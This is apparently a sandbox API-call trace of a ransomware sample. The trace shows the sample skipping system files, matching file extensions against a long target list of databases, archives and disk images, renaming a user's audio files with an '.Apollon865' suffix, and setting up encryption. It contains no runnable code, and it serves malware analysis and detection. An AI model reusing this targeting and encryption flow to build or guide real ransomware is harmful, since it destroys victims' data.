	[0088.417] lstrcmpiW (lpString1="m4a", lpString2="mwb") returned -1
	[0088.417] lstrlenW (lpString="myd") returned 3
	[0088.417] lstrcmpiW (lpString1="m4a", lpString2="myd") returned -1
	[0088.417] lstrlenW (lpString="ndf") returned 3
	[0088.418] lstrcmpiW (lpString1="m4a", lpString2="ndf") returned -1
	[0088.418] lstrlenW (lpString="nnt") returned 3
	[0088.418] lstrcmpiW (lpString1="m4a", lpString2="nnt") returned -1
	[0088.418] lstrlenW (lpString="nrmlib") returned 6
	[0088.418] lstrcmpiW (lpString1="La.m4a", lpString2="nrmlib") returned -1
	[0088.418] lstrlenW (lpString="ns2") returned 3
	[0088.418] lstrcmpiW (lpString1="m4a", lpString2="ns2") returned -1
	[0088.418] lstrlenW (lpString="ns3") returned 3
	[0088.418] lstrcmpiW (lpString1="m4a", lpString2="ns3") returned -1
	[0088.418] lstrlenW (lpString="ns4") returned 3
	[0088.418] lstrcmpiW (lpString1="m4a", lpString2="ns4") returned -1
	[0088.418] lstrlenW (lpString="nsf") returned 3
	[0088.418] lstrcmpiW (lpString1="m4a", lpString2="nsf") returned -1
	[0088.418] lstrlenW (lpString="nv") returned 2
	[0088.418] lstrcmpiW (lpString1="4a", lpString2="nv") returned -1
	[0088.418] lstrlenW (lpString="nv2") returned 3
	[0088.418] lstrcmpiW (lpString1="m4a", lpString2="nv2") returned -1
	[0088.418] lstrlenW (lpString="nwdb") returned 4
	[0088.418] lstrcmpiW (lpString1=".m4a", lpString2="nwdb") returned -1
	[0088.418] lstrlenW (lpString="nyf") returned 3
	[0088.418] lstrcmpiW (lpString1="m4a", lpString2="nyf") returned -1
	[0088.418] lstrlenW (lpString="odb") returned 3
	[0088.418] lstrcmpiW (lpString1="m4a", lpString2="odb") returned -1
	[0088.418] lstrlenW (lpString="odb") returned 3
	[0088.418] lstrcmpiW (lpString1="m4a", lpString2="odb") returned -1
	[0088.418] lstrlenW (lpString="oqy") returned 3
	[0088.418] lstrcmpiW (lpString1="m4a", lpString2="oqy") returned -1
	[0088.418] lstrlenW (lpString="ora") returned 3
	[0088.418] lstrcmpiW (lpString1="m4a", lpString2="ora") returned -1
	[0088.418] lstrlenW (lpString="orx") returned 3
	[0088.418] lstrcmpiW (lpString1="m4a", lpString2="orx") returned -1
	[0088.418] lstrlenW (lpString="owc") returned 3
	[0088.418] lstrcmpiW (lpString1="m4a", lpString2="owc") returned -1
	[0088.418] lstrlenW (lpString="p96") returned 3
	[0088.418] lstrcmpiW (lpString1="m4a", lpString2="p96") returned -1
	[0088.418] lstrlenW (lpString="p97") returned 3
	[0088.418] lstrcmpiW (lpString1="m4a", lpString2="p97") returned -1
	[0088.419] lstrlenW (lpString="pan") returned 3
	[0088.419] lstrcmpiW (lpString1="m4a", lpString2="pan") returned -1
	[0088.419] lstrlenW (lpString="pdb") returned 3
	[0088.419] lstrcmpiW (lpString1="m4a", lpString2="pdb") returned -1
	[0088.419] lstrlenW (lpString="pdm") returned 3
	[0088.419] lstrcmpiW (lpString1="m4a", lpString2="pdm") returned -1
	[0088.419] lstrlenW (lpString="pnz") returned 3
	[0088.419] lstrcmpiW (lpString1="m4a", lpString2="pnz") returned -1
	[0088.419] lstrlenW (lpString="qry") returned 3
	[0088.419] lstrcmpiW (lpString1="m4a", lpString2="qry") returned -1
	[0088.419] lstrlenW (lpString="qvd") returned 3
	[0088.419] lstrcmpiW (lpString1="m4a", lpString2="qvd") returned -1
	[0088.419] lstrlenW (lpString="rbf") returned 3
	[0088.419] lstrcmpiW (lpString1="m4a", lpString2="rbf") returned -1
	[0088.419] lstrlenW (lpString="rctd") returned 4
	[0088.419] lstrcmpiW (lpString1=".m4a", lpString2="rctd") returned -1
	[0088.419] lstrlenW (lpString="rod") returned 3
	[0088.419] lstrcmpiW (lpString1="m4a", lpString2="rod") returned -1
	[0088.419] lstrlenW (lpString="rodx") returned 4
	[0088.419] lstrcmpiW (lpString1=".m4a", lpString2="rodx") returned -1
	[0088.419] lstrlenW (lpString="rpd") returned 3
	[0088.419] lstrcmpiW (lpString1="m4a", lpString2="rpd") returned -1
	[0088.419] lstrlenW (lpString="rsd") returned 3
	[0088.419] lstrcmpiW (lpString1="m4a", lpString2="rsd") returned -1
	[0088.419] lstrlenW (lpString="sas7bdat") returned 8
	[0088.419] lstrcmpiW (lpString1="jVLa.m4a", lpString2="sas7bdat") returned -1
	[0088.419] lstrlenW (lpString="sbf") returned 3
	[0088.419] lstrcmpiW (lpString1="m4a", lpString2="sbf") returned -1
	[0088.419] lstrlenW (lpString="scx") returned 3
	[0088.419] lstrcmpiW (lpString1="m4a", lpString2="scx") returned -1
	[0088.419] lstrlenW (lpString="sdb") returned 3
	[0088.419] lstrcmpiW (lpString1="m4a", lpString2="sdb") returned -1
	[0088.419] lstrlenW (lpString="sdc") returned 3
	[0088.419] lstrcmpiW (lpString1="m4a", lpString2="sdc") returned -1
	[0088.419] lstrlenW (lpString="sdf") returned 3
	[0088.419] lstrcmpiW (lpString1="m4a", lpString2="sdf") returned -1
	[0088.419] lstrlenW (lpString="sis") returned 3
	[0088.419] lstrcmpiW (lpString1="m4a", lpString2="sis") returned -1
	[0088.420] lstrlenW (lpString="spq") returned 3
	[0088.420] lstrcmpiW (lpString1="m4a", lpString2="spq") returned -1
	[0088.420] lstrlenW (lpString="te") returned 2
	[0088.420] lstrcmpiW (lpString1="4a", lpString2="te") returned -1
	[0088.420] lstrlenW (lpString="teacher") returned 7
	[0088.420] lstrcmpiW (lpString1="VLa.m4a", lpString2="teacher") returned 1
	[0088.420] lstrlenW (lpString="tmd") returned 3
	[0088.420] lstrcmpiW (lpString1="m4a", lpString2="tmd") returned -1
	[0088.420] lstrlenW (lpString="tps") returned 3
	[0088.420] lstrcmpiW (lpString1="m4a", lpString2="tps") returned -1
	[0088.420] lstrlenW (lpString="trc") returned 3
	[0088.420] lstrcmpiW (lpString1="m4a", lpString2="trc") returned -1
	[0088.420] lstrlenW (lpString="trc") returned 3
	[0088.420] lstrcmpiW (lpString1="m4a", lpString2="trc") returned -1
	[0088.420] lstrlenW (lpString="trm") returned 3
	[0088.420] lstrcmpiW (lpString1="m4a", lpString2="trm") returned -1
	[0088.420] lstrlenW (lpString="udb") returned 3
	[0088.420] lstrcmpiW (lpString1="m4a", lpString2="udb") returned -1
	[0088.420] lstrlenW (lpString="udl") returned 3
	[0088.420] lstrcmpiW (lpString1="m4a", lpString2="udl") returned -1
	[0088.420] lstrlenW (lpString="usr") returned 3
	[0088.420] lstrcmpiW (lpString1="m4a", lpString2="usr") returned -1
	[0088.420] lstrlenW (lpString="v12") returned 3
	[0088.420] lstrcmpiW (lpString1="m4a", lpString2="v12") returned -1
	[0088.420] lstrlenW (lpString="vis") returned 3
	[0088.421] lstrcmpiW (lpString1="m4a", lpString2="vis") returned -1
	[0088.421] lstrlenW (lpString="vpd") returned 3
	[0088.421] lstrcmpiW (lpString1="m4a", lpString2="vpd") returned -1
	[0088.421] lstrlenW (lpString="vvv") returned 3
	[0088.421] lstrcmpiW (lpString1="m4a", lpString2="vvv") returned -1
	[0088.421] lstrlenW (lpString="wdb") returned 3
	[0088.421] lstrcmpiW (lpString1="m4a", lpString2="wdb") returned -1
	[0088.421] lstrlenW (lpString="wmdb") returned 4
	[0088.421] lstrcmpiW (lpString1=".m4a", lpString2="wmdb") returned -1
	[0088.421] lstrlenW (lpString="wrk") returned 3
	[0088.421] lstrcmpiW (lpString1="m4a", lpString2="wrk") returned -1
	[0088.421] lstrlenW (lpString="xdb") returned 3
	[0088.421] lstrcmpiW (lpString1="m4a", lpString2="xdb") returned -1
	[0088.421] lstrlenW (lpString="xld") returned 3
	[0088.421] lstrcmpiW (lpString1="m4a", lpString2="xld") returned -1
	[0088.421] lstrlenW (lpString="xmlff") returned 5
	[0088.421] lstrcmpiW (lpString1="a.m4a", lpString2="xmlff") returned -1
	[0088.421] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\pZHvtQIakBZ72v8PjVLa.m4a.Apollon865") returned 100
	[0088.421] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\pZHvtQIakBZ72v8PjVLa.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4mojk9ttsmsvcmn1hp\\pzhvtqiakbz72v8pjvla.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\pZHvtQIakBZ72v8PjVLa.m4a.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4mojk9ttsmsvcmn1hp\\pzhvtqiakbz72v8pjvla.m4a.apollon865"), dwFlags=0x1) returned 1
	[0088.423] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\pZHvtQIakBZ72v8PjVLa.m4a.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4mojk9ttsmsvcmn1hp\\pzhvtqiakbz72v8pjvla.m4a.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.423] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=46089) returned 1
	[0088.423] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.423] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.423] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.423] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.424] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.424] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.424] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb710, lpName=0x0) returned 0x15c
	[0088.424] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb710) returned 0x100000
	[0088.426] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.427] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.427] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.427] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.427] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.427] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.427] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.427] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.427] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.428] CloseHandle (hObject=0x15c) returned 1
	[0088.428] CloseHandle (hObject=0x9c) returned 1
	[0088.429] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.429] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.429] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.430] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d5080, ftCreationTime.dwHighDateTime=0x1d4d44a, ftLastAccessTime.dwLowDateTime=0xcbb2a950, ftLastAccessTime.dwHighDateTime=0x1d4d49b, ftLastWriteTime.dwLowDateTime=0xcbb2a950, ftLastWriteTime.dwHighDateTime=0x1d4d49b, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qXDoO4RsMr3l-AxqG.mp3", cAlternateFileName="QXDOO4~1.MP3")) returned 1
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2=".") returned 1
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2="..") returned 1
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2="windows") returned -1
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2="bootmgr") returned 1
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2="temp") returned -1
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2="pagefile.sys") returned 1
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2="boot") returned 1
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2="ids.txt") returned 1
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2="ntuser.dat") returned 1
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2="perflogs") returned 1
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2="MSBuild") returned 1
	[0088.430] lstrlenW (lpString="qXDoO4RsMr3l-AxqG.mp3") returned 21
	[0088.430] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\pZHvtQIakBZ72v8PjVLa.m4a") returned 89
	[0088.430] lstrcpyW (in: lpString1=0x119e68a, lpString2="qXDoO4RsMr3l-AxqG.mp3" | out: lpString1="qXDoO4RsMr3l-AxqG.mp3") returned="qXDoO4RsMr3l-AxqG.mp3"
	[0088.430] lstrlenW (lpString="qXDoO4RsMr3l-AxqG.mp3") returned 21
	[0088.430] lstrlenW (lpString="Apollon865") returned 10
	[0088.430] lstrcmpiW (lpString1="l-AxqG.mp3", lpString2="Apollon865") returned 1
	[0088.430] lstrlenW (lpString=".dll") returned 4
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2=".dll") returned 1
	[0088.430] lstrlenW (lpString=".lnk") returned 4
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2=".lnk") returned 1
	[0088.430] lstrlenW (lpString=".ini") returned 4
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2=".ini") returned 1
	[0088.430] lstrlenW (lpString=".sys") returned 4
	[0088.430] lstrcmpiW (lpString1="qXDoO4RsMr3l-AxqG.mp3", lpString2=".sys") returned 1
	[0088.430] lstrlenW (lpString="qXDoO4RsMr3l-AxqG.mp3") returned 21
	[0088.430] lstrlenW (lpString="bak") returned 3
	[0088.430] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0088.430] lstrlenW (lpString="ba_") returned 3
	[0088.430] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0088.430] lstrlenW (lpString="dbb") returned 3
	[0088.430] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0088.431] lstrlenW (lpString="vmdk") returned 4
	[0088.431] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0088.431] lstrlenW (lpString="rar") returned 3
	[0088.431] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0088.431] lstrlenW (lpString="zip") returned 3
	[0088.431] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0088.431] lstrlenW (lpString="tgz") returned 3
	[0088.431] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0088.431] lstrlenW (lpString="vbox") returned 4
	[0088.431] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0088.431] lstrlenW (lpString="vdi") returned 3
	[0088.431] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0088.431] lstrlenW (lpString="vhd") returned 3
	[0088.431] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0088.431] lstrlenW (lpString="vhdx") returned 4
	[0088.431] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0088.431] lstrlenW (lpString="avhd") returned 4
	[0088.431] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0088.431] lstrlenW (lpString="db") returned 2
	[0088.431] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0088.431] lstrlenW (lpString="db2") returned 3
	[0088.431] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0088.431] lstrlenW (lpString="db3") returned 3
	[0088.431] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0088.431] lstrlenW (lpString="dbf") returned 3
	[0088.431] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0088.431] lstrlenW (lpString="mdf") returned 3
	[0088.431] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0088.431] lstrlenW (lpString="mdb") returned 3
	[0088.431] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0088.431] lstrlenW (lpString="sql") returned 3
	[0088.431] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0088.431] lstrlenW (lpString="sqlite") returned 6
	[0088.431] lstrcmpiW (lpString1="qG.mp3", lpString2="sqlite") returned -1
	[0088.431] lstrlenW (lpString="sqlite3") returned 7
	[0088.431] lstrcmpiW (lpString1="xqG.mp3", lpString2="sqlite3") returned 1
	[0088.431] lstrlenW (lpString="sqlitedb") returned 8
	[0088.432] lstrcmpiW (lpString1="AxqG.mp3", lpString2="sqlitedb") returned -1
	[0088.432] lstrlenW (lpString="xml") returned 3
	[0088.432] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0088.432] lstrlenW (lpString="$er") returned 3
	[0088.432] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0088.432] lstrlenW (lpString="4dd") returned 3
	[0088.432] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0088.432] lstrlenW (lpString="4dl") returned 3
	[0088.432] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0088.432] lstrlenW (lpString="^^^") returned 3
	[0088.432] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0088.432] lstrlenW (lpString="abs") returned 3
	[0088.432] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0088.432] lstrlenW (lpString="abx") returned 3
	[0088.432] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0088.432] lstrlenW (lpString="accdb") returned 5
	[0088.432] lstrcmpiW (lpString1="G.mp3", lpString2="accdb") returned 1
	[0088.432] lstrlenW (lpString="accdc") returned 5
	[0088.432] lstrcmpiW (lpString1="G.mp3", lpString2="accdc") returned 1
	[0088.432] lstrlenW (lpString="accde") returned 5
	[0088.432] lstrcmpiW (lpString1="G.mp3", lpString2="accde") returned 1
	[0088.432] lstrlenW (lpString="accdr") returned 5
	[0088.432] lstrcmpiW (lpString1="G.mp3", lpString2="accdr") returned 1
	[0088.432] lstrlenW (lpString="accdt") returned 5
	[0088.432] lstrcmpiW (lpString1="G.mp3", lpString2="accdt") returned 1
	[0088.432] lstrlenW (lpString="accdw") returned 5
	[0088.432] lstrcmpiW (lpString1="G.mp3", lpString2="accdw") returned 1
	[0088.432] lstrlenW (lpString="accft") returned 5
	[0088.432] lstrcmpiW (lpString1="G.mp3", lpString2="accft") returned 1
	[0088.432] lstrlenW (lpString="adb") returned 3
	[0088.432] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0088.432] lstrlenW (lpString="adb") returned 3
	[0088.432] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0088.432] lstrlenW (lpString="ade") returned 3
	[0088.432] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0088.432] lstrlenW (lpString="adf") returned 3
	[0088.432] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0088.432] lstrlenW (lpString="adn") returned 3
	[0088.432] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0088.433] lstrlenW (lpString="adp") returned 3
	[0088.433] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0088.433] lstrlenW (lpString="alf") returned 3
	[0088.433] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0088.433] lstrlenW (lpString="ask") returned 3
	[0088.433] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0088.433] lstrlenW (lpString="btr") returned 3
	[0088.433] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0088.433] lstrlenW (lpString="cat") returned 3
	[0088.433] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0088.433] lstrlenW (lpString="cdb") returned 3
	[0088.433] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0088.433] lstrlenW (lpString="ckp") returned 3
	[0088.433] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0088.433] lstrlenW (lpString="cma") returned 3
	[0088.433] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0088.433] lstrlenW (lpString="cpd") returned 3
	[0088.433] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0088.433] lstrlenW (lpString="dacpac") returned 6
	[0088.433] lstrcmpiW (lpString1="qG.mp3", lpString2="dacpac") returned 1
	[0088.433] lstrlenW (lpString="dad") returned 3
	[0088.433] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0088.433] lstrlenW (lpString="dadiagrams") returned 10
	[0088.433] lstrcmpiW (lpString1="l-AxqG.mp3", lpString2="dadiagrams") returned 1
	[0088.433] lstrlenW (lpString="daschema") returned 8
	[0088.433] lstrcmpiW (lpString1="AxqG.mp3", lpString2="daschema") returned -1
	[0088.433] lstrlenW (lpString="db-journal") returned 10
	[0088.433] lstrcmpiW (lpString1="l-AxqG.mp3", lpString2="db-journal") returned 1
	[0088.433] lstrlenW (lpString="db-shm") returned 6
	[0088.433] lstrcmpiW (lpString1="qG.mp3", lpString2="db-shm") returned 1
	[0088.433] lstrlenW (lpString="db-wal") returned 6
	[0088.433] lstrcmpiW (lpString1="qG.mp3", lpString2="db-wal") returned 1
	[0088.433] lstrlenW (lpString="dbc") returned 3
	[0088.433] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0088.433] lstrlenW (lpString="dbs") returned 3
	[0088.433] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0088.433] lstrlenW (lpString="dbt") returned 3
	[0088.434] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0088.434] lstrlenW (lpString="dbv") returned 3
	[0088.434] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0088.434] lstrlenW (lpString="dbx") returned 3
	[0088.434] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0088.434] lstrlenW (lpString="dcb") returned 3
	[0088.434] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0088.434] lstrlenW (lpString="dct") returned 3
	[0088.434] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0088.434] lstrlenW (lpString="dcx") returned 3
	[0088.434] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0088.434] lstrlenW (lpString="ddl") returned 3
	[0088.434] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0088.434] lstrlenW (lpString="dlis") returned 4
	[0088.434] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1
	[0088.434] lstrlenW (lpString="dp1") returned 3
	[0088.434] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1
	[0088.434] lstrlenW (lpString="dqy") returned 3
	[0088.434] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1
	[0088.434] lstrlenW (lpString="dsk") returned 3
	[0088.434] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1
	[0088.434] lstrlenW (lpString="dsn") returned 3
	[0088.434] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1
	[0088.434] lstrlenW (lpString="dtsx") returned 4
	[0088.434] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1
	[0088.434] lstrlenW (lpString="dxl") returned 3
	[0088.434] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1
	[0088.434] lstrlenW (lpString="eco") returned 3
	[0088.434] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1
	[0088.434] lstrlenW (lpString="ecx") returned 3
	[0088.434] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1
	[0088.434] lstrlenW (lpString="edb") returned 3
	[0088.434] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1
	[0088.434] lstrlenW (lpString="epim") returned 4
	[0088.434] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1
	[0088.434] lstrlenW (lpString="fcd") returned 3
	[0088.434] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1
	[0088.435] lstrlenW (lpString="fdb") returned 3
	[0088.435] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1
	[0088.435] lstrlenW (lpString="fic") returned 3
	[0088.435] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1
	[0088.435] lstrlenW (lpString="flexolibrary") returned 12
	[0088.435] lstrcmpiW (lpString1="r3l-AxqG.mp3", lpString2="flexolibrary") returned 1
	[0088.435] lstrlenW (lpString="fm5") returned 3
	[0088.435] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1
	[0088.435] lstrlenW (lpString="fmp") returned 3
	[0088.435] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1
	[0088.435] lstrlenW (lpString="fmp12") returned 5
	[0088.435] lstrcmpiW (lpString1="G.mp3", lpString2="fmp12") returned 1
	[0088.435] lstrlenW (lpString="fmpsl") returned 5
	[0088.435] lstrcmpiW (lpString1="G.mp3", lpString2="fmpsl") returned 1
	[0088.435] lstrlenW (lpString="fol") returned 3
	[0088.435] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1
	[0088.435] lstrlenW (lpString="fp3") returned 3
	[0088.435] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1
	[0088.435] lstrlenW (lpString="fp4") returned 3
	[0088.435] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1
	[0088.435] lstrlenW (lpString="fp5") returned 3
	[0088.435] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1
	[0088.435] lstrlenW (lpString="fp7") returned 3
	[0088.435] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1
	[0088.435] lstrlenW (lpString="fpt") returned 3
	[0088.435] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1
	[0088.435] lstrlenW (lpString="frm") returned 3
	[0088.435] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1
	[0088.435] lstrlenW (lpString="gdb") returned 3
	[0088.435] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0088.435] lstrlenW (lpString="gdb") returned 3
	[0088.435] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0088.435] lstrlenW (lpString="grdb") returned 4
	[0088.435] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1
	[0088.435] lstrlenW (lpString="gwi") returned 3
	[0088.435] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1
	[0088.435] lstrlenW (lpString="hdb") returned 3
	[0088.436] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1
	[0088.436] lstrlenW (lpString="his") returned 3
	[0088.436] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1
